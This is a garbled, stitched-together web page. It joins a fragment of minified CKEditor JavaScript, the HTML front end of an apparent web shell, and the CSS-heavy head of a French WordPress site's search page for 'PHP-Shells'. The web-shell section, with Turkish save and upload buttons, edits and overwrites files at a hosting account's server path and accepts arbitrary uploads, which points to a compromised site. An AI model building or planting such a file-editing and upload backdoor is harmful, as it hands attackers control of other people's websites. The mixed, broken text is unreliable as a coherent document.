{label:a.lang.wsc.toolbar,click:function(a){var c=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.container.getText():a.document.getBody().getText();(c=c.replace(/\s/g,&quot;&quot;))?a.execCommand(&quot;checkspell&quot;):alert(&quot;Nothing to check!&quot;)},toolbar:&quot;spellchecker,10&quot;});CKEDITOR.dialog.add(&quot;checkspell&quot;,this.path+(CKEDITOR.env.ie&amp;&amp;7&gt;=CKEDITOR.env.version?&quot;dialogs/wsc_ie.js&quot;:window.postMessage?&quot;dialogs/wsc.js&quot;:&quot;dialogs/wsc_ie.js&quot;))}}),function(){function a(a){function b(a){var c=!1;g.attachListener(g,&quot;keydown&quot;,function(){var b=
f.getBody().getElementsByTag(a);if(!c){for(var d=0;d&lt;b.count();d++)b.getItem(d).setCustomData(&quot;retain&quot;,!0);c=!0}},null,null,1);g.attachListener(g,&quot;keyup&quot;,function(){var b=f.getElementsByTag(a);c&amp;&amp;(1!=b.count()||b.getItem(0).getCustomData(&quot;retain&quot;)||b.getItem(0).remove(1),c=!1)})}var c=this.editor,f=a.document,h=f.body,l=f.getElementById(&quot;cke_actscrpt&quot;);l&amp;&amp;l.parentNode.removeChild(l);(l=f.getElementById(&quot;cke_shimscrpt&quot;))&amp;&amp;l.parentNode.removeChild(l);(l=f.getElementById(&quot;cke_basetagscrpt&quot;))&amp;&amp;l.parentNode.removeChild(l);
h.contentEditable=!0;CKEDITOR.env.ie&amp;&amp;(h.hideFocus=!0,h.disabled=!0,h.removeAttribute(&quot;disabled&quot;));delete this._.isLoadingData;this.$=h;f=new CKEDITOR.dom.document(f);this.setup();this.fixInitialSelection();var g=this;CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge&amp;&amp;f.getDocumentElement().addClass(f.$.compatMode);CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge&amp;&amp;c.enterMode!=CKEDITOR.ENTER_P?b(&quot;p&quot;):CKEDITOR.env.edge&amp;&amp;c.enterMode!=CKEDITOR.ENTER_DIV&amp;&amp;b(&quot;div&quot;);if(CKEDITOR.env.webkit||CKEDITOR.env.ie&amp;&amp;10&lt;CKEDITOR.env.version)f.getDocumentElement().on(&quot;mousedown&quot;,
function(a){a.data.getTarget().is(&quot;html&quot;)&amp;&amp;setTimeout(function(){c.editable().focus()})});e(c);try{c.document.$.execCommand(&quot;2D-position&quot;,!1,!0)}catch(n){}(CKEDITOR.env.gecko||CKEDITOR.env.ie&amp;&amp;&quot;CSS1Compat&quot;==c.document.$.compatMode)&amp;&amp;this.attachListener(this,&quot;keydown&quot;,function(a){var b=a.data.getKeystroke();if(33==b||34==b)if(CKEDITOR.env.ie)setTimeout(function(){c.getSelection().scrollIntoView()},0);else if(c.window.$.innerHeight&gt;this.$.offsetHeight){var d=c.createRange();d[33==b?&quot;moveToElementEditStart&quot;:
&quot;moveToElementEditEnd&quot;](this);d.select();a.data.preventDefault()}});CKEDITOR.env.ie&amp;&amp;this.attachListener(f,&quot;blur&quot;,function(){try{f.$.selection.empty()}catch(a){}});CKEDITOR.env.iOS&amp;&amp;this.attachListener(f,&quot;touchend&quot;,function(){a.focus()});h=c.document.getElementsByTag(&quot;title&quot;).getItem(0);h.data(&quot;cke-title&quot;,h.getText());CKEDITOR.env.ie&amp;&amp;(c.document.$.title=this._.docTitle);CKEDITOR.tools.setTimeout(function(){&quot;unloaded&quot;==this.status&amp;&amp;(this.status=&quot;ready&quot;);c.fire(&quot;contentDom&quot;);this._.isPendingFocus&amp;&amp;
(c.focus(),this._.isPendingFocus=!1);setTimeout(function(){c.fire(&quot;dataReady&quot;)},0)},0,this)}function e(a){function b(){var e;a.editable().attachListener(a,&quot;selectionChange&quot;,function(){var b=a.getSelection().getSelectedElement();b&amp;&amp;(e&amp;&amp;(e.detachEvent(&quot;onresizestart&quot;,c),e=null),b.$.attachEvent(&quot;onresizestart&quot;,c),e=b.$)})}function c(a){a.returnValue=!1}if(CKEDITOR.env.gecko)try{var e=a.document.$;e.execCommand(&quot;enableObjectResizing&quot;,!1,!a.config.disableObjectResizing);e.execCommand(&quot;enableInlineTableEditing&quot;,
!1,!a.config.disableNativeTableHandles)}catch(h){}else CKEDITOR.env.ie&amp;&amp;11&gt;CKEDITOR.env.version&amp;&amp;a.config.disableObjectResizing&amp;&amp;b(a)}function b(){var a=[];if(8&lt;=CKEDITOR.document.$.documentMode){a.push(&quot;html.CSS1Compat [contenteditable\x3dfalse]{min-height:0 !important}&quot;);var b=[],c;for(c in CKEDITOR.dtd.$removeEmpty)b.push(&quot;html.CSS1Compat &quot;+c+&quot;[contenteditable\x3dfalse]&quot;);a.push(b.join(&quot;,&quot;)+&quot;{display:inline-block}&quot;)}else CKEDITOR.env.gecko&amp;&amp;(a.push(&quot;html{height:100% !important}&quot;),a.push(&quot;img:-moz-broken{-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}&quot;));
a.push(&quot;html{cursor:text;*cursor:auto}&quot;);a.push(&quot;img,input,textarea{cursor:default}&quot;);return a.join(&quot;\n&quot;)}CKEDITOR.plugins.add(&quot;wysiwygarea&quot;,{init:function(a){a.config.fullPage&amp;&amp;a.addFeature({allowedContent:&quot;html head title; style [media,type]; body (*)[id]; meta link [*]&quot;,requiredContent:&quot;body&quot;});a.addMode(&quot;wysiwyg&quot;,function(b){function e(f){f&amp;&amp;f.removeListener();a.editable(new c(a,h.$.contentWindow.document.body));a.setData(a.getData(1),b)}var f=&quot;document.open();&quot;+(CKEDITOR.env.ie?&quot;(&quot;+CKEDITOR.tools.fixDomain+
&quot;)();&quot;:&quot;&quot;)+&quot;document.close();&quot;,f=CKEDITOR.env.air?&quot;javascript:void(0)&quot;:CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge?&quot;javascript:void(function(){&quot;+encodeURIComponent(f)+&quot;}())&quot;:&quot;&quot;,h=CKEDITOR.dom.element.createFromHtml(&#039;\x3ciframe src\x3d&quot;&#039;+f+&#039;&quot; frameBorder\x3d&quot;0&quot;\x3e\x3c/iframe\x3e&#039;);h.setStyles({width:&quot;100%&quot;,height:&quot;100%&quot;});h.addClass(&quot;cke_wysiwyg_frame&quot;).addClass(&quot;cke_reset&quot;);f=a.ui.space(&quot;contents&quot;);f.append(h);var l=CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge||CKEDITOR.env.gecko;if(l)h.on(&quot;load&quot;,e);var g=a.title,
n=a.fire(&quot;ariaEditorHelpLabel&quot;,{}).label;g&amp;&amp;(CKEDITOR.env.ie&amp;&amp;n&amp;&amp;(g+=&quot;, &quot;+n),h.setAttribute(&quot;title&quot;,g));if(n){var g=CKEDITOR.tools.getNextId(),v=CKEDITOR.dom.element.createFromHtml(&#039;\x3cspan id\x3d&quot;&#039;+g+&#039;&quot; class\x3d&quot;cke_voice_label&quot;\x3e&#039;+n+&quot;\x3c/span\x3e&quot;);f.append(v,1);h.setAttribute(&quot;aria-describedby&quot;,g)}a.on(&quot;beforeModeUnload&quot;,function(a){a.removeListener();v&amp;&amp;v.remove()});h.setAttributes({tabIndex:a.tabIndex,allowTransparency:&quot;true&quot;});!l&amp;&amp;e();a.fire(&quot;ariaWidget&quot;,h)})}});CKEDITOR.editor.prototype.addContentsCss=
function(a){var b=this.config,c=b.contentsCss;CKEDITOR.tools.isArray(c)||(b.contentsCss=c?[c]:[]);b.contentsCss.push(a)};var c=CKEDITOR.tools.createClass({$:function(){this.base.apply(this,arguments);this._.frameLoadedHandler=CKEDITOR.tools.addFunction(function(b){CKEDITOR.tools.setTimeout(a,0,this,b)},this);this._.docTitle=this.getWindow().getFrame().getAttribute(&quot;title&quot;)},base:CKEDITOR.editable,proto:{setData:function(a,c){var e=this.editor;if(c)this.setHtml(a),this.fixInitialSelection(),e.fire(&quot;dataReady&quot;);
else{this._.isLoadingData=!0;e._.dataStore={id:1};var f=e.config,h=f.fullPage,l=f.docType,g=CKEDITOR.tools.buildStyleHtml(b()).replace(/&lt;style&gt;/,&#039;\x3cstyle data-cke-temp\x3d&quot;1&quot;\x3e&#039;);h||(g+=CKEDITOR.tools.buildStyleHtml(e.config.contentsCss));var n=f.baseHref?&#039;\x3cbase href\x3d&quot;&#039;+f.baseHref+&#039;&quot; data-cke-temp\x3d&quot;1&quot; /\x3e&#039;:&quot;&quot;;h&amp;&amp;(a=a.replace(/&lt;!DOCTYPE[^&gt;]*&gt;/i,function(a){e.docType=l=a;return&quot;&quot;}).replace(/&lt;\?xml\s[^\?]*\?&gt;/i,function(a){e.xmlDeclaration=a;return&quot;&quot;}));a=e.dataProcessor.toHtml(a);h?(/&lt;body[\s|&gt;]/.test(a)||
(a=&quot;\x3cbody\x3e&quot;+a),/&lt;html[\s|&gt;]/.test(a)||(a=&quot;\x3chtml\x3e&quot;+a+&quot;\x3c/html\x3e&quot;),/&lt;head[\s|&gt;]/.test(a)?/&lt;title[\s|&gt;]/.test(a)||(a=a.replace(/&lt;head[^&gt;]*&gt;/,&quot;$\x26\x3ctitle\x3e\x3c/title\x3e&quot;)):a=a.replace(/&lt;html[^&gt;]*&gt;/,&quot;$\x26\x3chead\x3e\x3ctitle\x3e\x3c/title\x3e\x3c/head\x3e&quot;),n&amp;&amp;(a=a.replace(/&lt;head[^&gt;]*?&gt;/,&quot;$\x26&quot;+n)),a=a.replace(/&lt;\/head\s*&gt;/,g+&quot;$\x26&quot;),a=l+a):a=f.docType+&#039;\x3chtml dir\x3d&quot;&#039;+f.contentsLangDirection+&#039;&quot; lang\x3d&quot;&#039;+(f.contentsLanguage||e.langCode)+&#039;&quot;\x3e\x3chead\x3e\x3ctitle\x3e&#039;+
this._.docTitle+&quot;\x3c/title\x3e&quot;+n+g+&quot;\x3c/head\x3e\x3cbody&quot;+(f.bodyId?&#039; id\x3d&quot;&#039;+f.bodyId+&#039;&quot;&#039;:&quot;&quot;)+(f.bodyClass?&#039; class\x3d&quot;&#039;+f.bodyClass+&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;+a+&quot;\x3c/body\x3e\x3c/html\x3e&quot;;CKEDITOR.env.gecko&amp;&amp;(a=a.replace(/&lt;body/,&#039;\x3cbody contenteditable\x3d&quot;true&quot; &#039;),2E4&gt;CKEDITOR.env.version&amp;&amp;(a=a.replace(/&lt;body[^&gt;]*&gt;/,&quot;$\x26\x3c!-- cke-content-start --\x3e&quot;)));f=&#039;\x3cscript id\x3d&quot;cke_actscrpt&quot; type\x3d&quot;text/javascript&quot;&#039;+(CKEDITOR.env.ie?&#039; defer\x3d&quot;defer&quot; &#039;:&quot;&quot;)+&quot;\x3evar wasLoaded\x3d0;function onload(){if(!wasLoaded)window.parent.CKEDITOR.tools.callFunction(&quot;+
this._.frameLoadedHandler+&quot;,window);wasLoaded\x3d1;}&quot;+(CKEDITOR.env.ie?&quot;onload();&quot;:&#039;document.addEventListener(&quot;DOMContentLoaded&quot;, onload, false );&#039;)+&quot;\x3c/script\x3e&quot;;CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version&amp;&amp;(f+=&#039;\x3cscript id\x3d&quot;cke_shimscrpt&quot;\x3ewindow.parent.CKEDITOR.tools.enableHtml5Elements(document)\x3c/script\x3e&#039;);n&amp;&amp;CKEDITOR.env.ie&amp;&amp;10&gt;CKEDITOR.env.version&amp;&amp;(f+=&#039;\x3cscript id\x3d&quot;cke_basetagscrpt&quot;\x3evar baseTag \x3d document.querySelector( &quot;base&quot; );baseTag.href \x3d baseTag.href;\x3c/script\x3e&#039;);
a=a.replace(/(?=\s*&lt;\/(:?head)&gt;)/,f);this.clearCustomData();this.clearListeners();e.fire(&quot;contentDomUnload&quot;);var v=this.getDocument();try{v.write(a)}catch(u){setTimeout(function(){v.write(a)},0)}}},getData:function(a){if(a)return this.getHtml();a=this.editor;var b=a.config,c=b.fullPage,e=c&amp;&amp;a.docType,h=c&amp;&amp;a.xmlDeclaration,l=this.getDocument(),c=c?l.getDocumentElement().getOuterHtml():l.getBody().getHtml();CKEDITOR.env.gecko&amp;&amp;b.enterMode!=CKEDITOR.ENTER_BR&amp;&amp;(c=c.replace(/&lt;br&gt;(?=\s*(:?$|&lt;\/body&gt;))/,
&quot;&quot;));c=a.dataProcessor.toDataFormat(c);h&amp;&amp;(c=h+&quot;\n&quot;+c);e&amp;&amp;(c=e+&quot;\n&quot;+c);return c},focus:function(){this._.isLoadingData?this._.isPendingFocus=!0:c.baseProto.focus.call(this)},detach:function(){var a=this.editor,b=a.document,e;try{e=a.window.getFrame()}catch(f){}c.baseProto.detach.call(this);this.clearCustomData();b.getDocumentElement().clearCustomData();CKEDITOR.tools.removeFunction(this._.frameLoadedHandler);e&amp;&amp;e.getParent()?(e.clearCustomData(),(a=e.removeCustomData(&quot;onResize&quot;))&amp;&amp;a.removeListener(),
e.remove()):CKEDITOR.warn(&quot;editor-destroy-iframe&quot;)}}})}(),CKEDITOR.config.disableObjectResizing=!1,CKEDITOR.config.disableNativeTableHandles=!0,CKEDITOR.config.disableNativeSpellChecker=!0,CKEDITOR.config.plugins=&quot;dialogui,dialog,a11yhelp,about,basicstyles,blockquote,clipboard,panel,floatpanel,menu,contextmenu,elementspath,indent,indentlist,list,enterkey,entities,popup,filebrowser,floatingspace,listblock,button,richcombo,format,horizontalrule,htmlwriter,image,fakeobjects,link,magicline,maximize,pastefromword,pastetext,removeformat,resize,menubutton,scayt,showborders,sourcearea,specialchar,stylescombo,tab,table,tabletools,toolbar,undo,wsc,wysiwygarea&quot;,
CKEDITOR.config.skin=&quot;moono&quot;,function(){var a=function(a,b){var c=CKEDITOR.getUrl(&quot;plugins/&quot;+b);a=a.split(&quot;,&quot;);for(var d=0;d&lt;a.length;d++)CKEDITOR.skin.icons[a[d]]={path:c,offset:-a[++d],bgsize:a[++d]}};CKEDITOR.env.hidpi?a(&quot;about,0,,bold,24,,italic,48,,strike,72,,subscript,96,,superscript,120,,underline,144,,bidiltr,168,,bidirtl,192,,blockquote,216,,copy-rtl,240,,copy,264,,cut-rtl,288,,cut,312,,paste-rtl,336,,paste,360,,codesnippet,384,,bgcolor,408,,textcolor,432,,creatediv,456,,docprops-rtl,480,,docprops,504,,embed,528,,embedsemantic,552,,find-rtl,576,,find,600,,replace,624,,flash,648,,button,672,,checkbox,696,,form,720,,hiddenfield,744,,imagebutton,768,,radio,792,,select-rtl,816,,select,840,,textarea-rtl,864,,textarea,888,,textfield-rtl,912,,textfield,936,,horizontalrule,960,,iframe,984,,image,1008,,indent-rtl,1032,,indent,1056,,outdent-rtl,1080,,outdent,1104,,justifyblock,1128,,justifycenter,1152,,justifyleft,1176,,justifyright,1200,,language,1224,,anchor-rtl,1248,,anchor,1272,,link,1296,,unlink,1320,,bulletedlist-rtl,1344,,bulletedlist,1368,,numberedlist-rtl,1392,,numberedlist,1416,,mathjax,1440,,maximize,1464,,newpage-rtl,1488,,newpage,1512,,pagebreak-rtl,1536,,pagebreak,1560,,pastefromword-rtl,1584,,pastefromword,1608,,pastetext-rtl,1632,,pastetext,1656,,placeholder,1680,,preview-rtl,1704,,preview,1728,,print,1752,,removeformat,1776,,save,1800,,scayt,1824,,selectall,1848,,showblocks-rtl,1872,,showblocks,1896,,smiley,1920,,source-rtl,1944,,source,1968,,sourcedialog-rtl,1992,,sourcedialog,2016,,specialchar,2040,,table,2064,,templates-rtl,2088,,templates,2112,,uicolor,2136,,redo-rtl,2160,,redo,2184,,undo-rtl,2208,,undo,2232,,simplebox,4512,auto,spellchecker,2280,&quot;,
&quot;icons_hidpi.png&quot;):a(&quot;about,0,auto,bold,24,auto,italic,48,auto,strike,72,auto,subscript,96,auto,superscript,120,auto,underline,144,auto,bidiltr,168,auto,bidirtl,192,auto,blockquote,216,auto,copy-rtl,240,auto,copy,264,auto,cut-rtl,288,auto,cut,312,auto,paste-rtl,336,auto,paste,360,auto,codesnippet,384,auto,bgcolor,408,auto,textcolor,432,auto,creatediv,456,auto,docprops-rtl,480,auto,docprops,504,auto,embed,528,auto,embedsemantic,552,auto,find-rtl,576,auto,find,600,auto,replace,624,auto,flash,648,auto,button,672,auto,checkbox,696,auto,form,720,auto,hiddenfield,744,auto,imagebutton,768,auto,radio,792,auto,select-rtl,816,auto,select,840,auto,textarea-rtl,864,auto,textarea,888,auto,textfield-rtl,912,auto,textfield,936,auto,horizontalrule,960,auto,iframe,984,auto,image,1008,auto,indent-rtl,1032,auto,indent,1056,auto,outdent-rtl,1080,auto,outdent,1104,auto,justifyblock,1128,auto,justifycenter,1152,auto,justifyleft,1176,auto,justifyright,1200,auto,language,1224,auto,anchor-rtl,1248,auto,anchor,1272,auto,link,1296,auto,unlink,1320,auto,bulletedlist-rtl,1344,auto,bulletedlist,1368,auto,numberedlist-rtl,1392,auto,numberedlist,1416,auto,mathjax,1440,auto,maximize,1464,auto,newpage-rtl,1488,auto,newpage,1512,auto,pagebreak-rtl,1536,auto,pagebreak,1560,auto,pastefromword-rtl,1584,auto,pastefromword,1608,auto,pastetext-rtl,1632,auto,pastetext,1656,auto,placeholder,1680,auto,preview-rtl,1704,auto,preview,1728,auto,print,1752,auto,removeformat,1776,auto,save,1800,auto,scayt,1824,auto,selectall,1848,auto,showblocks-rtl,1872,auto,showblocks,1896,auto,smiley,1920,auto,source-rtl,1944,auto,source,1968,auto,sourcedialog-rtl,1992,auto,sourcedialog,2016,auto,specialchar,2040,auto,table,2064,auto,templates-rtl,2088,auto,templates,2112,auto,uicolor,2136,auto,redo-rtl,2160,auto,redo,2184,auto,undo-rtl,2208,auto,undo,2232,auto,simplebox,2256,auto,spellchecker,2280,auto&quot;,
&quot;icons.png&quot;)}())})();</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/alliancechretienne.bak/rac-admin/assets/plugins/ckeditor/ckeditor.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d2921e264b*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p 